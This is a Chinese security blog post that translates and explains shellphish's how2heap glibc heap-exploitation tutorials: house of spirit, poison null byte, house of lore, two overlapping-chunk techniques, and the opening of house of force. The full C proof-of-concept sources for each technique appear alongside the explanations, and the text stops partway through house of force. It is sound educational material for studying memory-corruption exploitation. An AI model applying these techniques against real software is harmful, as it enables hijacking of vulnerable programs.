Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】how2heap总结-下

0
0
【技术分享】how2heap总结-下

2017-09-11 10:30:50

阅读:421次
点赞(0)
收藏
来源: 安全客





【技术分享】how2heap总结-下

作者:7o8v_





【技术分享】how2heap总结-下

作者:7o8v_

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

"how2heap"是shellphish团队在Github上开源的堆漏洞系列教程. 我这段时间一直在学习堆漏洞利用方面的知识,看了这些利用技巧以后感觉受益匪浅. 这篇文章是我学习这个系列教程后的总结,在此和大家分享.我会尽量翻译原版教程的内容,方便英语不太好的同学学习. 不过在学习这些技巧之前,建议大家去看一看华庭写的"Glibc内存管理-Ptmalloc2源码分析"

http://paper.seebug.org/papers/Archive/refs/heap/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf

在此也给出原版教程链接:

https://github.com/shellphish/how2heap


补充

上篇的总结因为在微信公众号发过了,所以不在这里发,可以到我的博客去看。博客:reversing.win

这次的翻译部分我决定再随性一点,每一句尽量使用我自己的理解。

而且原文有些错误的地方或者表意不明的地方我会在翻译部分修正,要是原文看不太明白,可以看我的翻译。

然后就是输出部分我就不贴了,大家想要学习的就自己在机器上输出看看。 :P


0x01 测试环境

Ubuntu 16.04.3 LTS x64

GLIBC 2.23


0x02 目录

house_of_spirit

poison_null_byte

house_of_lore

overlapping_chunks

overlapping_chunks_2

house_of_force

unsoted_bin_attack


0x03 house_of_spirit

源码:

#include<stdio.h> #include<stdlib.h> intmain() { printf("Thisfiledemonstratesthehouseofspiritattack.\n"); printf("Callingmalloc()oncesothatitsetsupitsmemory.\n"); malloc(1); printf("Wewillnowoverwriteapointertopointtoafake'fastbin'region.\n"); unsignedlonglong*a; //ThishasnothingtodowithfastbinsY(donotbefooledbythe10)-fake_chunksisjustapieceofmemorytofulfilallocations(pointedtofromfastbinsY) unsignedlonglongfake_chunks[10]__attribute__((aligned(16))); printf("Thisregion(memoryoflength:%lu)containstwochunks.Thefirststartsat%pandthesecondat%p.\n",sizeof(fake_chunks),&fake_chunks[1],&fake_chunks[7]); printf("Thischunk.sizeofthisregionhastobe16morethantheregion(toaccomodatethechunkdata)whilestillfallingintothefastbincategory(<=128onx64)." "ThePREV_INUSE(lsb)bitisignoredbyfreeforfastbin-sizedchunks,howevertheIS_MMAPPED(secondlsb)andNON_MAIN_ARENA(thirdlsb)bitscauseproblems.\n"); printf("...notethatthishastobethesizeofthenextmallocrequestroundedtotheinternalsizeusedbythemallocimplementation." "E.g.onx64,0x30-0x38willallberoundedto0x40,sotheywouldworkforthemallocparameterattheend.\n"); fake_chunks[1]=0x40;//thisisthesize printf("Thechunk.sizeofthe*next*fakeregionhastobesane.Thatis>2*SIZE_SZ(>16onx64)&&<av->system_mem(<128kbbydefaultforthemainarena)" "topassthenextsizeintegritychecks.Noneedforfastbinsize.\n"); //fake_chunks[9]because0x40/sizeof(unsignedlonglong)=8 fake_chunks[9]=0x1234;//nextsize printf("Nowwewilloverwriteourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[1]); printf("...notethatthememoryaddressofthe*region*associatedwiththischunkmustbe16-bytealigned.\n"); a=&fake_chunks[2]; printf("Freeingtheoverwrittenpointer.\n"); free(a); printf("Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[1],&fake_chunks[2]); printf("malloc(0x30):%p\n",malloc(0x30)); }

翻译:

这个程序展示了一种被称为house_of_spirit的攻击方式。

首先调用一次malloc来初始化内存布局。

我们将会修改一个指针去指向一个fake fastbin区域。

unsignedlonglongfake_chunks[10]__attribute__((aligned(16))); 这个区域长度为0x50,里面包含了两个chunk。第一个chunk开始于fake_chunk[0],第二个chunk开始于fake_chunk[8]。

第一个chunk的size要在fastbin的范围内(x64机器上是 < 0x80),同时注意实际大小比可用大小多两个单元。

因为这个chunk被我们伪装成了fastbin,所以PREV_INUSE是什么都无所谓(free的时候不会管这个标志位),但是IS_MMAPPED和NON_MAIN_ARENA两个标志位是会有影响的,确保为0就行。

还有需要注意的是,我们用malloc申请内存的时候,表示内存大小的参数最后是会因为对齐的操作,使得我们输入不同的参数可能都会返回同样大小的内存,比如在x64的机器上我们申请0x30~0x38大小的内存,最后都会返回给我们0x40大小的内存。所以,如果我们想要一个0x40大小的内存,上面表示的大小范围内的值都可以作为malloc的参数。

还有就是第二个fake chunk的size必须要大于2*size_t(x64机器上是16字节),且必须小于main arena的大小,一般来讲是128kb,以此来pass掉chunk是否正常的检查。

然后我们将要free的指针的值改为fake chunk的地址fake_chunk[2]

还有一点比较重要,fake chunk的地址必须是16字节对齐(x86机器上是8字节对齐)。

由于我们的fake chunk伪造的size值为0x40,所以之后malloc(0x30~0x38)都会返回fake_chunk[2]的地址。

需要注意的是,这个示例中的fake chunk是布置在栈上的。

这里我画一张图来帮助理解:


【技术分享】how2heap总结-下

构造fake_chunk_1的目的是我们最后要返回它的指针来控制这片区域;而构造fake_chunk_2的目的是为了pass掉free()的检查使得我们可以成功返回fake_chunk_1的指针。 free之后的效果是这样的:


【技术分享】how2heap总结-下

栈地址被成功放到了fastbin的链表上,之后就能把它malloc出来了。

当我们伪造的fake chunk内部存在不可控区域的时候,运用这个技术就可以将这片区域变成可控的了。

关于这个技术如果要练手的话,可以去做一下 pwnable.tw 上的 spirited_away 这道题。(后续我会将解题思路放到我的博客,可能不会放wp。)


0x04 poison_null_byte

源码:

#include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> #include<malloc.h> intmain() { printf("Welcometopoisonnullbyte2.0!\n"); printf("TestedinUbuntu14.0464bit.\n"); printf("Thistechniquecanbeusedwhenyouhaveanoff-by-oneintoamalloc'edregionwithanullbyte.\n"); uint8_t*a; uint8_t*b; uint8_t*c; uint8_t*b1; uint8_t*b2; uint8_t*d; printf("Weallocate0x100bytesfor'a'.\n"); a=(uint8_t*)malloc(0x100); printf("a:%p\n",a); intreal_a_size=malloc_usable_size(a); printf("Sincewewanttooverflow'a',weneedtoknowthe'real'sizeof'a'" "(itmaybemorethan0x100becauseofrounding):%#x\n",real_a_size); /*chunksizeattributecannothavealeastsignificantbytewithavalueof0x00. *theleastsignificantbyteofthiswillbe0x10,becausethesizeofthechunkincludes *theamountrequestedplussomeamountrequiredforthemetadata.*/ b=(uint8_t*)malloc(0x200); printf("b:%p\n",b); c=(uint8_t*)malloc(0x100); printf("c:%p\n",c); uint64_t*b_size_ptr=(uint64_t*)(b-8); //addedfixforsize==prev_size(next_chunk)checkinnewerversionsofglibc //https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 //thisaddedcheckrequiresweareallowedtohavenullpointersinb(notjustacstring) //*(size_t*)(b+0x1f0)=0x200; printf("Innewerversionsofglibcwewillneedtohaveourupdatedsizeinsidebitselftopass" "thecheck'chunksize(P)!=prev_size(next_chunk(P))'\n"); //wesetthislocationto0x200since0x200==(0x211&0xff00) //whichisthevalueofb.sizeafteritsfirstbytehasbeenoverwrittenwithaNULLbyte *(size_t*)(b+0x1f0)=0x200; //thistechniqueworksbyoverwritingthesizemetadataofafreechunk free(b); printf("b.size:%#lx\n",*b_size_ptr); printf("b.sizeis:(0x200+0x10)|prev_in_use\n"); printf("Weoverflow'a'withasinglenullbyteintothemetadataof'b'\n"); a[real_a_size]=0;//<---THISISTHE"EXPLOITEDBUG" printf("b.size:%#lx\n",*b_size_ptr); uint64_t*c_prev_size_ptr=((uint64_t*)c)-2; printf("c.prev_sizeis%#lx\n",*c_prev_size_ptr); //Thismallocwillresultinacalltounlinkonthechunkwherebwas. //Theaddedcheck(commitid:17f487b),ifnotproperlyhandledaswedidbefore, //willdetecttheheapcorruptionnow. //Thecheckisthis:chunksize(P)!=prev_size(next_chunk(P))where //P==b-0x10,chunksize(P)==*(b-0x10+0x8)==0x200(was0x210beforetheoverflow) //next_chunk(P)==b-0x10+0x200==b+0x1f0 //prev_size(next_chunk(P))==*(b+0x1f0)==0x200 printf("Wewillpassthechecksincechunksize(P)==%#lx==%#lx==prev_size(next_chunk(P))\n", *((size_t*)(b-0x8)),*(size_t*)(b-0x10+*((size_t*)(b-0x8)))); b1=malloc(0x100); printf("b1:%p\n",b1); printf("Nowwemalloc'b1'.Itwillbeplacedwhere'b'was." "Atthispointc.prev_sizeshouldhavebeenupdated,butitwasnot:%lx\n",*c_prev_size_ptr); printf("Interestingly,theupdatedvalueofc.prev_sizehasbeenwritten0x10bytes" "beforec.prev_size:%lx\n",*(((uint64_t*)c)-4)); printf("Wemalloc'b2',our'victim'chunk.\n"); //Typicallyb2(thevictim)willbeastructurewithvaluablepointersthatwewanttocontrol b2=malloc(0x80); printf("b2:%p\n",b2); memset(b2,'B',0x80); printf("Currentb2content:\n%s\n",b2); printf("Nowwefree'b1'and'c':thiswillconsolidatethechunks'b1'and'c'(forgettingabout'b2').\n"); free(b1); free(c); printf("Finally,weallocate'd',overlapping'b2'.\n"); d=malloc(0x300); printf("d:%p\n",d); printf("Now'd'and'b2'overlap.\n"); memset(d,'D',0x300); printf("Newb2content:\n%s\n",b2); printf("Thankstohttp://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf" "fortheclearexplanationofthistechnique.\n"); } 翻译:

这个技术可被用于当可以被malloc的区域(也就是heap区域)存在一个单字节溢出漏洞的时候。

我们先分配0x100个字节的内存,代号'a'。

如果我们想要去溢出a的话,我们需要知道它的实际大小(因为空间复用的存在),在我的机器上是0x108。

然后接着我们分配0x200个字节,代号'b'。

再分配0x100个字节,代号'c'。

uint8_t*a=malloc(0x100); uint8_t*b=malloc(0x200); uint8_t*c=malloc(0x100);

那么我们现在就有三个内存块:

a:0x100 b:0x200 c:0x100

在新版glibc环境下,我们需要在b内部更新size来pass 'chunksize(P) != prev_size (next_chunk(P))'

*(size_t*)(b+0x1f0)=0x200; free(b)

b.size: 0x211 == ((0x200 + 0x10) | pre_in_use)

我们在a实现一个单字节的 null byte 溢出。

之后 b.size = 0x200

此时c.presize = 0x210 但是没关系我们还是能pass掉前面那个check。

这个时候:

b1=malloc(0x100);

返回给b1的地址就是前面free掉的b的地址。

有趣的是现在C的presize在原来地址的后面两个单元位置处更新。 OK,我们再malloc一块内存。

b2=malloc(0x80);

此时刚才的presize依然会更新,而且b2整个块也仍然在原来b的内部。

之后我们将b1和c依次free。这会导致b1开始的位置一直到c的末尾中间的内存会合并成一块。

free(b1); free(c); d=malloc(0x300);

返回的地址还是原来b的地址,重要的是刚才没有free的b2被包含在了里面!

我想这里的难点在于明白为什么后面的合并会发生。

还记得,在我们第一次free(b)之前,进行了如下的设置:

*(size_t*)(b+0x1f0)=0x200;

这一步非常关键,可以确保我们之后进行null byte溢出后,还能成功free(b)。

这和上一个例程house_of_spirit对fake_chunk_2进行的设置的道理是一样的,逃过 'chunksize(P) != prev_size (next_chunk(P))' 的检查。

之后分配b1和b2的时候,presize也会一直在(b+0x1f0)处更新。

而在最后free(c)的时候,检查的是c的presize位,而因为最开始的null byte溢出,导致这块区域的值一直没被更新,一直是b最开始的大小 0x210 。

而在free的过程中就会认为前面0x210个字节都是空闲的,于是就错误地进行了合并,然而glibc忽略了中间还有个可怜的b2。

更详细的讲解可以参考这篇paper

http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf


0x05 house_of_lore

【注】:源码我改动过,使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行,不过改了之后看得更直观。

源码

/* AdvancedexploitationoftheHouseofLore-MallocMaleficarum. ThisPoCtakecarealsooftheglibchardeningofsmallbincorruption. [...] else { bck=victim->bk; if(__glibc_unlikely(bck->fd!=victim)){ errstr="malloc():smallbindoublelinkedlistcorrupted"; gotoerrout; } set_inuse_bit_at_offset(victim,nb); bin->bk=bck; bck->fd=bin; [...] */
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> voidjackpot(){puts("Nicejumpd00d");exit(0);} intmain(intargc,char*argv[]){ intptr_t*stack_buffer_1[4]={0}; intptr_t*stack_buffer_2[3]={0}; printf("\nWelcometotheHouseofLore\n"); printf("Thisisarevisitedversionthatbypassalsothehardeningcheckintroducedbyglibcmalloc\n"); printf("ThisistestedagainstUbuntu14.04.4-32bit-glibc-2.23\n\n"); printf("Allocatingthevictimchunk\n"); intptr_t*victim=malloc(0x80); printf("Allocatedthefirstsmallchunkontheheapat%p\n",victim); //victim-WORD_SIZEbecauseweneedtoremovetheheadersizeinordertohavetheabsoluteaddressofthechunk intptr_t*victim_chunk=victim-2; printf("stack_buffer_1at%pstack_buffer_1[1]at%p\n",(void*)stack_buffer_1,(void*)&stack_buffer_1[1]); printf("stack_buffer_2at%pstack_buffer_2[1]at%p\n",(void*)stack_buffer_2,(void*)&stack_buffer_2[1]); printf("Createafakechunkonthestack\n"); printf("Setthefwdpointertothevictim_chunkinordertobypassthecheckofsmallbincorrupted" "insecondtothelastmalloc,whichputtingstackaddressonsmallbinlist\n"); stack_buffer_1[2]=victim_chunk; printf("Setthebkpointertostack_buffer_2andsetthefwdpointerofstack_buffer_2topointtostack_buffer_1" "inordertobypassthecheckofsmallbincorruptedinlastmalloc,whichreturningpointertothefake" "chunkonstack\n"); stack_buffer_1[3]=(intptr_t*)stack_buffer_2; stack_buffer_2[2]=(intptr_t*)stack_buffer_1; printf("Allocatinganotherlargechunkinordertoavoidconsolidatingthetopchunkwith" "thesmalloneduringthefree()\n"); void*p5=malloc(1000); printf("Allocatedthelargechunkontheheapat%p\n",p5); printf("Freeingthechunk%p,itwillbeinsertedintheunsortedbin\n",victim); free((void*)victim); printf("\nIntheunsortedbinthevictim'sfwdandbkpointersarenil\n"); printf("victim->fwd:%p\n",(void*)victim[0]); printf("victim->bk:%p\n\n",(void*)victim[1]); printf("Nowperformingamallocthatcan'tbehandledbytheUnsortedBin,northesmallbin\n"); printf("Thismeansthatthechunk%pwillbeinsertedinfrontoftheSmallBin\n",victim); void*p2=malloc(1200); printf("Thechunkthatcan'tbehandledbytheunsortedbin,northeSmallBinhasbeenallocatedto%p\n",p2); printf("Thevictimchunkhasbeensortedanditsfwdandbkpointersupdated\n"); printf("victim->fwd:%p\n",(void*)victim[0]); printf("victim->bk:%p\n\n",(void*)victim[1]); //------------VULNERABILITY----------- printf("Nowemulatingavulnerabilitythatcanoverwritethevictim->bkpointer\n"); victim[1]=(intptr_t)stack_buffer_1;//victim->bkispointingtostack //------------------------------------ printf("Nowallocatingachunkwithsizeequaltothefirstonefreed\n"); printf("Thisshouldreturntheoverwrittenvictimchunkandsetthebin->bktotheinjectedvictim->bkpointer\n"); void*p3=malloc(0x80); printf("p3=%p\n",p3); printf("Thislastmallocshouldtricktheglibcmalloctoreturnachunkatthepositioninjectedinbin->bk\n"); char*p4=malloc(0x80); printf("p4=malloc(0x80)\n"); printf("\nThefwdpointerofstack_buffer_2haschangedafterthelastmallocto%p\n", stack_buffer_2[2]); printf("\np4is%pandshouldbeonthestack!\n",p4);//thischunkwillbeallocatedonstack intptr_tsc=(intptr_t)jackpot;//Emulatingourin-memoryshellcode memcpy((p4+40),&sc,8);//Thisbypassesstack-smashdetectionsinceitjumpsoverthecanary }

翻译

在栈上有分配两个数组如下

intptr_t*stack_buffer_1[4]={0}; intptr_t*stack_buffer_2[3]={0};

分配好victim chunk

victim=malloc(0x80) intptr_t*victim_chunk=victim-2;

这是heap上的第一个small chunk

然后在栈上制造一个fake chunk

stack_buffer_1[2]=victim_chunk; 这里的stack_buffer_1[2]刚好是我们要构造的第一个fake_chunk的fd指针的位置。

上面的操作可以pass掉后面malloc对于smallbin的检查。

再进行下面的操作:

stack_buffer_1[3]=(intptr_t*)stack_buffer_2; stack_buffer_2[2]=(intptr_t*)stack_buffer_1; stack_buffer_1[3]是第一个fake chunk的bk字段

和上面一样是为了pass掉malloc的检查。

然后申请一块大内存,来防止等一下free的时候把我们精心构造好的victim chunk给合并了。

void*p5=malloc(1000);

现在把victim chunk给free掉,之后它会被放入unsortedbin中。

放入unsortedbin之后victim chunk的fd和bk会同时指向unsortedbin的头部。

现在执行一个不能被unsortedbin和smallbin响应的malloc。

void*p2=malloc(1200);

malloc之后victim chunk将会从unsortedbin转移到smallbin中。

同时它的fd和bk也会更新,改为指向smallbin的头部。

现在假设发生了溢出改写了victim的bk指针

victim[1]=(intptr_t)stack_buffer_1;//victim->bkispointingtostack

现在开始malloc和victim大小相同的内存块。

p3=malloc(0x80);

返回给p3地址就是原来的victim地址,而且此时前面伪造的fake chunk也被连接到了smallbin上。

再次malloc

p4=malloc(0x80);

这次返回的p4就将是一个栈地址!

这个技术最重要的地方在于成功将victim chunk和两个fake chunk构造成双向链表。

还是给个示意图:


【技术分享】how2heap总结-下

这就是布局好的双向链表。

可以看到stack_buffer_2的bk字段是空着的,那是因为我们这时没有进行信息的泄露,如果泄露出smallbin_head的值并填上去的话,这个链表才算是完整,当然如果没必要的话可以不这样做。尽管之后的针对这个smallbin的malloc会报错。

在前面我补充说过:

【注】:源码我改动过,使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行,不过改了之后看得更直观。

原来的代码中victim chunk的大小是100,malloc之后会对齐到0x70。

0x70在32位系统上属于smallbin,在64位系统上属于fastbin。

原本针对32位程序的代码编译为64位程序也能正常运行,这是为什么?

这是因为,不管这个0x70大小的victim chunk是先加入unsotedbin还是fastbin,在之后都会被加入到smallbin中,smallbin也有0x70大小的链表!

可以看下图,这时victim chunk被加入fastbin链表的时候:


【技术分享】how2heap总结-下

在经过 void *p2 = malloc(1200); 后:


【技术分享】how2heap总结-下

而在我改过代码之后,victim chunk就是正常地先加入unsortedbin再加入smallbin了。


0x06 overlapping_chunks

源码:

/* Asimpletaleofoverlappingchunk. Thistechniqueistakenfrom http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> intmain(intargc,char*argv[]){ intptr_t*p1,*p2,*p3,*p4; printf("\nThisisasimplechunksoverlappingproblem\n\n"); printf("Let'sstarttoallocate3chunksontheheap\n"); p1=malloc(0x100-8); p2=malloc(0x100-8); p3=malloc(0x80-8); printf("The3chunkshavebeenallocatedhere:\np1=%p\np2=%p\np3=%p\n",p1,p2,p3); memset(p1,'1',0x100-8); memset(p2,'2',0x100-8); memset(p3,'3',0x80-8); printf("\nNowlet'sfreethechunkp2\n"); free(p2); printf("Thechunkp2isnowintheunsortedbinreadytoservepossible\nnewmalloc()ofitssize\n"); printf("Nowlet'ssimulateanoverflowthatcanoverwritethesizeofthechunkfreedp2.\n"); printf("Foratoyprogram,thevalueofthelast3bitsisunimportant;" "however,itisbesttomaintainthestabilityoftheheap.\n"); printf("Toachievethisstabilitywewillmarktheleastsignifigantbitas1(prev_inuse)," "toassurethatp1isnotmistakenforafreechunk.\n"); intevil_chunk_size=0x181; intevil_region_size=0x180-8; printf("Wearegoingtosetthesizeofchunkp2toto%d,whichgivesus\naregionsizeof%d\n", evil_chunk_size,evil_region_size); *(p2-1)=evil_chunk_size;//weareoverwritingthe"size"fieldofchunkp2 printf("\nNowlet'sallocateanotherchunkwithasizeequaltothedata\n" "sizeofthechunkp2injectedsize\n"); printf("Thismallocwillbeservedfromthepreviouslyfreedchunkthat\n" "isparkedintheunsortedbinwhichsizehasbeenmodifiedbyus\n"); p4=malloc(evil_region_size); printf("\np4hasbeenallocatedat%pandendsat%p\n",p4,p4+evil_region_size); printf("p3startsat%pandendsat%p\n",p3,p3+80); printf("p4shouldoverlapwithp3,inthiscasep4includesallp3.\n"); printf("\nNoweverythingcopiedinsidechunkp4canoverwritesdataon\nchunkp3," "anddatawrittentochunkp3canoverwritedata\nstoredinthep4chunk.\n\n"); printf("Let'srunthroughanexample.Rightnow,wehave:\n"); printf("p4=%s\n",(char*)p4); printf("p3=%s\n",(char*)p3); printf("\nIfwememset(p4,'4',%d),wehave:\n",evil_region_size); memset(p4,'4',evil_region_size); printf("p4=%s\n",(char*)p4); printf("p3=%s\n",(char*)p3); printf("\nAndifwethenmemset(p3,'3',80),wehave:\n"); memset(p3,'3',80); printf("p4=%s\n",(char*)p4); printf("p3=%s\n",(char*)p3); }

翻译:

这是一个简单的堆块重叠的问题。

先malloc三个堆块:

p1=malloc(0x100-8); p2=malloc(0x100-8); p3=malloc(0x80-8);

现在free掉p2

p2被free之后加入到了unsortedbin链表中待命

现在让我们模拟一个可以改写p2.size的溢出。

intevil_chunk_size=0x181; *(p2-1)=evil_chunk_size;

对于我们这个例子来讲三个标志位影响不是很大,但是为了保持堆的稳定性,还是不要随意改动。

至少我们要确保pre_in_use为true,不要让p1被误认为被free了。

我们将p2的size改写为0x181,之后的malloc就会返回给我们一个0x178(可使用大小)的堆块。

...

下面的就不再翻译了,大概意思就是malloc(0x178)返回了p2的地址,而且包含了整个p3在里面。

intevil_region_size=0x180-8; p4=malloc(evil_region_size);

返回给p4的地址就是原来p2的,而且p4中包含了还没被free的p3。

我们前面通过溢出一个null byte来达到overlapping chunk的效果。

这里就非常简单暴力了,直接修改已经free的chunk的size字段,而且只用修改这个字段,就可以达到攻击的目的了。

之后的malloc就可以返回一个带有overlapping效果的chunk。

没太多可讲的,整个过程也比较简单。


0x07 overlapping_chunks_2

源码:

/* Yetanothersimpletaleofoverlappingchunk. Thistechniqueistakenfrom https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. ThisisalsoreferencedasNonadjacentFreeChunkConsolidationAttack. */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<stdint.h> #include<malloc.h> intmain(){ intptr_t*p1,*p2,*p3,*p4,*p5,*p6; unsignedintreal_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; intprev_in_use=0x1; printf("\nThisisasimplechunksoverlappingproblem"); printf("\nThisisalsoreferencedasNonadjacentFreeChunkConsolidationAttack\n"); printf("\nLet'sstarttoallocate5chunksontheheap:"); p1=malloc(1000); p2=malloc(1000); p3=malloc(1000); p4=malloc(1000); p5=malloc(1000); real_size_p1=malloc_usable_size(p1); real_size_p2=malloc_usable_size(p2); real_size_p3=malloc_usable_size(p3); real_size_p4=malloc_usable_size(p4); real_size_p5=malloc_usable_size(p5); printf("\n\nchunkp1from%pto%p",p1,(unsignedchar*)p1+malloc_usable_size(p1)); printf("\nchunkp2from%pto%p",p2,(unsignedchar*)p2+malloc_usable_size(p2)); printf("\nchunkp3from%pto%p",p3,(unsignedchar*)p3+malloc_usable_size(p3)); printf("\nchunkp4from%pto%p",p4,(unsignedchar*)p4+malloc_usable_size(p4)); printf("\nchunkp5from%pto%p\n",p5,(unsignedchar*)p5+malloc_usable_size(p5)); memset(p1,'A',real_size_p1); memset(p2,'B',real_size_p2); memset(p3,'C',real_size_p3); memset(p4,'D',real_size_p4); memset(p5,'E',real_size_p5); printf("\nLet'sfreethechunkp4.\nInthiscasethisisn'tcoealescedwithtopchunksincewehavep5borderingtopchunkafterp4\n"); free(p4); printf("\nLet'striggerthevulnerabilityonchunkp1thatoverwritesthesizeoftheinusechunkp2\nwiththesizeofchunk_p2+sizeofchunk_p3\n"); *(unsignedint*)((unsignedchar*)p1+real_size_p1)=real_size_p2+real_size_p3+prev_in_use+sizeof(size_t)*2;//<---BUGHERE printf("\nNowduringthefree()operationonp2,theallocatorisfooledtothinkthat\nthenextchunkisp4(sincep2+size_p2nowpointtop4)\n"); printf("\nThisoperationwillbasicallycreateabigfreechunkthatwronglyincludesp3\n"); free(p2); printf("\nNowlet'sallocateanewchunkwithasizethatcanbesatisfiedbythepreviouslyfreedchunk\n"); p6=malloc(2000); real_size_p6=malloc_usable_size(p6); printf("\nOurmalloc()hasbeensatisfiedbyourcraftedbigfreechunk,nowp6andp3areoverlappingand\nwecanoverwritedatainp3bywritingonchunkp6\n"); printf("\nchunkp6from%pto%p",p6,(unsignedchar*)p6+real_size_p6); printf("\nchunkp3from%pto%p\n",p3,(unsignedchar*)p3+real_size_p3); printf("\nDatainsidechunkp3:\n\n"); printf("%s\n",(char*)p3); printf("\nLet'swritesomethinginsidep6\n"); memset(p6,'F',1500); printf("\nDatainsidechunkp3:\n\n"); printf("%s\n",(char*)p3); } 翻译:

这同样是一个简单的堆块重叠的问题。

这也被称为非相邻free chunk合并攻击。

首先malloc五个堆块:

p1=malloc(1000); p2=malloc(1000); p3=malloc(1000); p4=malloc(1000); p5=malloc(1000); free(p4);

因为p5的存在所以p4不会被合并。

然后我们在p1触发一个溢出,将p2的size改写成p2和p3大小的和。

之后free(p2)的时候,分配器就会认为p4是下一个块(忽略p3)。

然后就会错误地将p3和p2合并。

p6=malloc(2000);

这时返回给p6的地址就是p2的地址了,p6内部也包含了未被free的p3。

我们可以愉快地通过p6来改写p3中的任何数据。

这个例程介绍的是获得overlapping chunk的另外一种方法。

上面那种方法是在chunk已经被free的情况下直接修改size字段,然后将chunk malloc出来。

这个例程是在chunk被free之前,通过修改size,然后free,欺骗free函数去修改了下一个chunk的presize字段来强行“合并”堆块。

这里就是设置了p2的size为p2和p3大小的和,之后更新presize的时候是通过p2的地址加上p2的size来寻找的要修改的位置的,这里刚好就把p4头部的presize给改掉了。

之后的malloc也顺理成章地将p2和p3作为一块内存分配给我们了,尽管p3没有被free。


0x08 house_of_force

源码:

/* ThisPoCworksalsowithASLRenabled. ItwilloverwriteaGOTentrysoinordertoapplyexactlythistechniqueRELROmustbedisabled. IfRELROisenabledyoucanalwaystrytoreturnachunkonthestackasproposedinMallocDesMaleficarum (http://phrack.org/issues/66/10.html) TestedinUbuntu14.04,64bit. */ #include<stdio.h> #include<stdint.h> #include<stdlib.h> #include<string.h> #include<stdint.h> #include<malloc.h> charbss_var[]="Thisisastringthatwewanttooverwrite."; intmain(intargc,char*argv[]) { printf("\nWelcometotheHouseofForce\n\n"); printf("TheideaofHouseofForceistooverwritethetopchunkandletthemallocreturnanarbitraryvalue.\n"); printf("Thetopchunkisaspecialchunk.Isthelastinmemory" "andisthechunkthatwillberesizedwhenmallocasksformorespacefromtheos.\n"); printf("\nIntheend,wewillusethistooverwriteavariableat%p.\n",bss_var); printf("Itscurrentvalueis:%s\n",bss_var); printf("\nLet'sallocatethefirstchunk,takingspacefromthewilderness.\n"); intptr_t*p1=malloc(256); printf("Thechunkof256byteshasbeenallocatedat%p.\n",p1); printf("\nNowtheheapiscomposedoftwochunks:theoneweallocatedandthetopchunk/wilderness.\n"); intreal_size=malloc_usable_size(p1); printf("Realsize(alignedandallthatjazz)ofourallocatedchunkis%d.\n",real_size); printf("\nNowlet'semulateavulnerabilitythatcanoverwritetheheaderoftheTopChunk\n"); //-----VULNERABILITY---- intptr_t*ptr_top=(intptr_t*)((char*)p1+real_size); printf("\nThetopchunkstartsat%p\n",ptr_top); printf("\nOverwritingthetopchunksizewithabigvaluesowecanensurethatthemallocwillnevercallmmap.\n"); printf("Oldsizeoftopchunk%#llx\n",*((unsignedlonglongint*)ptr_top)); ptr_top[0]=-1; printf("Newsizeoftopchunk%#llx\n",*((unsignedlonglongint*)ptr_top)); //------------------------ printf("\nThesizeofthewildernessisnowgigantic.Wecanallocateanythingwithoutmalloc()callingmmap.\n" "Next,wewillallocateachunkthatwillgetusrightupagainstthedesiredregion(withaninteger" "overflow)andwillthenbeabletoallocateachunkrightoverthedesiredregion.\n"); unsignedlongevil_size=(unsignedlong)bss_var-sizeof(long)*2-(unsignedlong)ptr_top; printf("\nThevaluewewanttowritetoat%p,andthetopchunkisat%p,soaccountingfortheheadersize,\n" "wewillmalloc%#lxbytes.\n",bss_var,ptr_top,evil_size); void*new_ptr=malloc(evil_size); printf("Asexpected,thenewpointerisatthesameplaceastheoldtopchunk:%p\n",new_ptr); void*ctr_chunk=malloc(100); printf("\nNow,thenextchunkweoverwritewillpointatourtargetbuffer.\n"); printf("malloc(100)=>%p!\n",ctr_chunk); printf("Now,wecanfinallyoverwritethatvalue:\n"); printf("...oldstring:%s\n",bss_var); printf("...doingstrcpyoverwritewith\"YEAH!!!\"...\n"); strcpy(ctr_chunk,"YEAH!!!"); printf("...newstring:%s\n",bss_var); //somefurtherdiscussion: //printf("Thiscontrolledmallocwillbecalledwithasizeparameterofevil_size=malloc_got_address-8-p2_guessed\n\n"); //printf("Thisbecausethemain_arena->toppointerissettedtocurrentav->top+malloc_size" //"andwe\nwanttosetthisresulttotheaddressofmalloc_got_address-8\n\n"); //printf("Inordertodothiswehavemalloc_got_address-8=p2_guessed+evil_size\n\n"); //printf("Theav->topafterthisbigmallocwillbesettedinthiswaytomalloc_got_address-8\n\n"); //printf("Afterthatanewcalltomallocwillreturnav->top+8(+8bytesfortheheader)," //"\nandbasicallyreturnachunkat(malloc_got_address-8)+8=malloc_got_address\n\n"); //printf("Thelargechunkwithevil_sizehasbeenallocatedhere0x%08x\n",p2); //printf("Themain_arenavalueav->tophasbeensettedtomalloc_got_address-8=0x%08x\n",malloc_got_address); //printf("Thislastmallocwillbeservedfromtheremaindercodeandwillreturntheav->top+8injectedbefore\n"); } 翻译:

house_of_force的主要思想是,通过改写top chunk来使malloc返回任意地址。

top chunk是一块非常特殊的内存,它存在于堆区的最后,而且一般情况下,当malloc向os申请内存时,top chunk的大小会变动。

我们就利用这个机制来改写一个变量

charbss_var[]="Thisisastringthatwewanttooverwrite.";

先分配第一个chunk:

intptr_t*p1=malloc(256);

现在heap区域就存在了两个chunk一个是p1,一个是top chunk。

p1的真实大小应该是 0x100 + 0x8

